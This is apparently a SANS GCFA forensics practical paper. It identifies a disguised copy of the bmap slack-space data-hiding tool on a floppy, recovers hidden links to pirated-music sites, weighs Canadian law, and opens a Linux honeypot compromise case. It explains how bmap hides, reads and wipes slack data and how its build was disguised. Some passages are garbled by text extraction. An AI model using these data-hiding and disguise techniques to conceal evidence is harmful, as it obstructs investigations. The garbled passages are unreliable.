Fight crime.
Unravel incidents... one byte at a time.

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508) at http://digital-forensics.sans.org/events/
GCFA Practical Assignment

GCFA - Practical Assignment
A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
# Table of Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. ANALYSIS OF AN UNKNOWN BINARY</td>
<td>4</td>
</tr>
<tr>
<td>1.1. Binary Details</td>
<td>4</td>
</tr>
<tr>
<td>1.2. Program Description</td>
<td>10</td>
</tr>
<tr>
<td>1.3. Forensic Details</td>
<td>17</td>
</tr>
<tr>
<td>1.4. Program Identification</td>
<td>18</td>
</tr>
<tr>
<td>1.5. Legal Implications</td>
<td>20</td>
</tr>
<tr>
<td>1.6. Interview Questions</td>
<td>22</td>
</tr>
<tr>
<td>1.7. Case Information</td>
<td>23</td>
</tr>
<tr>
<td>1.8. Additional Information</td>
<td>25</td>
</tr>
<tr>
<td>2. FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM</td>
<td>26</td>
</tr>
<tr>
<td>2.1. Synopsis of Case Facts</td>
<td>26</td>
</tr>
<tr>
<td>2.2. System Description</td>
<td>27</td>
</tr>
<tr>
<td>2.3. Hardware Description</td>
<td>28</td>
</tr>
<tr>
<td>2.4. Media Image</td>
<td>29</td>
</tr>
<tr>
<td>2.5. Media Analysis</td>
<td>32</td>
</tr>
<tr>
<td>2.6. Timeline Analysis</td>
<td>46</td>
</tr>
<tr>
<td>2.7. Recover Deleted Files</td>
<td>50</td>
</tr>
<tr>
<td>2.8. String Search</td>
<td>52</td>
</tr>
<tr>
<td>2.9. Conclusions</td>
<td>54</td>
</tr>
<tr>
<td>3. LEGAL ISSUES OF INCIDENT HANDLING</td>
<td>55</td>
</tr>
<tr>
<td>3.1. Questions</td>
<td>55</td>
</tr>
<tr>
<td>APPENDICES</td>
<td>61</td>
</tr>
<tr>
<td>4.1. Appendix A</td>
<td>61</td>
</tr>
<tr>
<td>4.2. Appendix B</td>
<td>91</td>
</tr>
<tr>
<td>4.3. Appendix C</td>
<td>94</td>
</tr>
<tr>
<td>4.4. Some Company – Acceptable Use Policy</td>
<td>94</td>
</tr>
<tr>
<td>4.5. Appendix D</td>
<td>97</td>
</tr>
<tr>
<td>4.6. Live Response Review</td>
<td>97</td>
</tr>
<tr>
<td>4.7. Live response File listings</td>
<td>106</td>
</tr>
<tr>
<td>startime.txt</td>
<td>106</td>
</tr>
<tr>
<td>w.txt</td>
<td>106</td>
</tr>
<tr>
<td>netsat-sockets.txt</td>
<td>106</td>
</tr>
<tr>
<td>lsof.txt</td>
<td>108</td>
</tr>
<tr>
<td>ps.txt</td>
<td>171</td>
</tr>
<tr>
<td>lsmod.txt</td>
<td>173</td>
</tr>
<tr>
<td>netstat routes.txt</td>
<td>174</td>
</tr>
<tr>
<td>ifconfig.txt</td>
<td>174</td>
</tr>
<tr>
<td>Proc-filename.txt</td>
<td>174</td>
</tr>
<tr>
<td>stoptime.txt</td>
<td>177</td>
</tr>
</tbody>
</table>
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

**Bold text** within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cecc5fbc8f84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5 checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](C:\data\GCFA\md5sum fl-160703-jp1.dd.gz 4b680767a2aed974cecc5fbc8f84cc97a =fl-160703-jp1.dd.gz)

![Figure 1, MD5 hashes from floppy](C:\data\GCFA\md5sum fl-160703-jp1.dd 266e79c13c5b8d87329269c32a3b65 =fl-160703-jp1.dd)

![Figure 1, MD5 hashes from floppy](C:\data\GCFA)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

John Price - disk
Device
Evidence Number: John Price - disk
File Path: C:/Sans\evidence files\John Price - disk.E01
Actual Date: 10/14/03 08:46:24PM
Target Date: 10/14/03 08:46:24PM
Total Size: 1,474,560 bytes (1.4MB)
Total Sectors: 2,880
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Verify Hash: 20BE7BC13A5CB8D77232659C52A3BA65
Notes: 1.44 MB floppy - John Price

![EnCase Report Screen shot - MD5 Verification](image-url)
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

![EnCase screen shot of file information for 'prog'](image-url)

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:
- ELF executable – the kernel recognizes the file a unix executable.
- statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.¹

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
mft_getopt
.
.
.flag-
flagized option invokation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
.
.
mft_log_shutdown
.
.
display fragmentation information for the file
frag
wipe the file from the raw device
.
.
autogenerate document ...
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
.
.
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
nul block while mapping block %d.
.
```

¹ Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
1.0.20 (07/15/03)
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an:

```
ELF 32-bit LSB executable for the Intel 80386 platform
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The following was done on the Redhat2. Aide 0.9 was run to create the initial checksum of the file system. To verify for a known state and repeated execution of the prog file the VMWare bmap was found. On Redhat2 the strings command was used to dump the strings from the file (see Figure 3). The reference site ftp://ftp.scyld.com/pub/forensic_computing/bmap/ provided no reference library information due to the stripping of the prog file. The ld command pproc file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available and provide clues on how the program works, have been removed.

The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort -dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

\[
\text{LDFLAGS} = -L$(MFT_LIB_DIR) -lmft -static
\]

The bmap file was stripped using the strip command:

\[
\text{strip bmap}
\]

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.
Figure 7. md5sum - byte count - file type for 'bmap' file (VMWare)

The 'prog' file and the newly compiled 'bmap' file were run with the --help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog1.0.20 (07/15/03) newt
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1:

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of slack bytes available</td>
<td>print number of bytes available</td>
</tr>
</tbody>
</table>
### slackbytes

<table>
<thead>
<tr>
<th>Command</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>test</td>
<td>Checks if file has slack</td>
</tr>
<tr>
<td>checkslack</td>
<td></td>
</tr>
<tr>
<td>wipe slack</td>
<td>Wipes slack</td>
</tr>
<tr>
<td>wipe</td>
<td></td>
</tr>
<tr>
<td>placeslack</td>
<td>Places data into slack</td>
</tr>
<tr>
<td>place data into slack</td>
<td></td>
</tr>
<tr>
<td>putslack</td>
<td></td>
</tr>
<tr>
<td>display data in slack space</td>
<td>Displays data in slack space</td>
</tr>
<tr>
<td>display data</td>
<td></td>
</tr>
<tr>
<td>slack</td>
<td>Extract a copy from the raw device</td>
</tr>
<tr>
<td>extract a copy from the raw device</td>
<td></td>
</tr>
<tr>
<td>carve</td>
<td></td>
</tr>
<tr>
<td>list sector numbers</td>
<td>List sector numbers</td>
</tr>
<tr>
<td>operation to perform on files</td>
<td>Operation to perform on files</td>
</tr>
<tr>
<td>mode</td>
<td>Mode</td>
</tr>
<tr>
<td>generate SGML invocation info</td>
<td>Generates SGML invocation info</td>
</tr>
<tr>
<td>sgml</td>
<td>SGML</td>
</tr>
<tr>
<td>generate man page and exit</td>
<td>Generate man page and exit</td>
</tr>
<tr>
<td>display options and exit</td>
<td>Display options and exit</td>
</tr>
<tr>
<td>help</td>
<td>Help</td>
</tr>
<tr>
<td>display version and exit</td>
<td>Display version and exit</td>
</tr>
<tr>
<td>version</td>
<td>Version</td>
</tr>
<tr>
<td>autogenerated document ...</td>
<td>Autogenerated document ...</td>
</tr>
<tr>
<td>1.0.20 (07/15/03)</td>
<td>1.0.20 (07/15/03)</td>
</tr>
<tr>
<td><a href="mailto:newt@scyld.com">newt@scyld.com</a></td>
<td>Newt</td>
</tr>
<tr>
<td>use block-list knowledge to perform special operations on files</td>
<td>Use block-list knowledge to perform special operations on files</td>
</tr>
</tbody>
</table>

### prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"

```c
{"wipeslack","wipe slack",
0,MO_INT_CAST(BMAP_WIPESLACK)},
```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putslassk" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.
Kevin Miller - Sans GCFA Assignment –v1.4






Page 16

Seachedon“
bmap”andc
hangedt
o"
pr
og"
Changedaut
hori
nMak
ef
i
l
ef
r
om “
newt
@s
cyl
d.
c
om”t
o“
newt
”
Added -static to LD_FLAGS on line 30 in Makefile.
Changed date to Jul 15, 2003

fu
ll r
igh

ts.

The objective was to see if the MD5 checksum could be replicated identically. The
md5sum did not match, the bmap MD5 was
“bcade02b97d17f20f0937df10511fcf8”. This is attributed to not having the
compile options and specifics on the versions of library files used to compile the prog
executable.

ns

The strace program was used to f
ol
l
owt
hei
nt
er
ac
t
i
onbet
weent
he‘
pr
og’
and‘
bmap’
files and the operating system. The strace out
putf
r
om bot
h“
pr
og–hel
p”and“
bmap–
hel
p”are shown below. Note: No differences were found.

eta
i

::::::::::::::
bmap.strace3
::::::::::::::

[????????] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
[420b542b] geteuid32()
= 0
[420b4c6a] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0

5902
5902
5902

[080552ee] fcntl64(0, F_GETFD)
[080552ee] fcntl64(1, F_GETFD)
[080552ee] fcntl64(2, F_GETFD)

5902
5902
5902

[0806f9bd] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
[0806faa0] geteuid32()
= 0
[0806fa34] getuid32()
= 0

5902
5902

[0806fb0c] getgid32()
[08070085] brk(0)

5902
5902
5902

[08070085] brk(0x80bee0c)
[08070085] brk(0x80bf000)
[08070085] brk(0x80c0000)

ho

rr

5902
5902
5902

04

,A

ut

= 0
= 0
= 0

= 0
= 0x80bedec
= 0x80bee0c
= 0x80bf000
= 0x80c0000

sti

tu

te

20

Key5902
fingerprint
= AF19 FA27 2F94 998D=FDB5
DE3D F8B5 06E4 A169 4E46
[0806fb78] getegid32()
0

In

5902 [080550e4] write(2, "no filename. try \'--help\' for he"..., 36) = 36
5902 [08054cbd] _exit(2)
= ?
::::::::::::::

5904
5904
5904

[420b542b] geteuid32()
= 0
[420b4c6a] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
[0805531e] fcntl64(0, F_GETFD)
= 0

©

5904
5904
5904

SA

NS

prog.strace3
::::::::::::::
5904 [????????] execve("./prog", ["./prog"], [/* 19 vars */]) = 0

[0805531e] fcntl64(1, F_GETFD)
= 0
[0805531e] fcntl64(2, F_GETFD)
= 0
[0806f9ed] uname({sys="Linux", node="localhost.localdomain", ...}) = 0

5904
5904
5904

[0806fad0] geteuid32()
[0806fa64] getuid32()
[0806fba8] getegid32()

= 0
= 0
= 0

5904
5904
5904

[0806fb3c] getgid32()
[080700b5] brk(0)
[080700b5] brk(0x80bee0c)

= 0
= 0x80bedec
= 0x80bee0c

© SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.


1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20  (07/15/03)
   newt
   use block-list knowledge to perform special operations on files
   .
   .
   bmap_get_block_size
   bmap_map_block
   .
   bmap_raw_open
   .
   .
   bmap_raw_close
   .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMware workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out

[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the "prog" program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. Program Identification

The source for bmap-1.0.20 was located at ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program 'bmap' is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch "-static" was added.

BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/.../image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)

The compile of the "bmap" executable was done by typing "make" in the bmap-1.0.20 directory. To strip the file the command used was "strip bmap". An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cbb891b2 bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image-url)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right,
(a) obtains, directly or indirectly, any computer service,

(b) by means of an electro-magnetic, acoustic, mechanical or other
device, intercepts or causes to be intercepted, directly or
indirectly, any function of a computer system,

(c) uses or causes to be used, directly or indirectly, a computer
system with intent to commit an offence under paragraph (a) or (b) or
an offence under section 430 in relation to data or a computer
system, or

(d) uses, possesses, traffics in or permits another person to have
access to a computer password that would enable a person to commit an
offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a
term not exceeding ten years, or is guilty of an offence punishable
on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership...
of files.

5) What workstations do you use?  
   Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name "*" -type f -exec bmap -checkslack {} \;
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap – checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[zroot@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.filesshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,

I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information

Linux Data Hiding and Recovery Article -


2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31pm the power cord to the box was unplugged. The harddrive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5” floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2 kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

---

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tag # 01</td>
<td>Western Digital AC26400-60RTT0 Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB</td>
</tr>
<tr>
<td>Tag # 02</td>
<td>Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085</td>
</tr>
<tr>
<td>Tag # 03</td>
<td>Western Digital AC26400-60RTT0 Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB</td>
</tr>
<tr>
<td>Tag # 04</td>
<td>Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129</td>
</tr>
<tr>
<td>Tag # 05</td>
<td>CDROM labeled “Casefile 10/10/03 logs” with initials FT</td>
</tr>
</tbody>
</table>
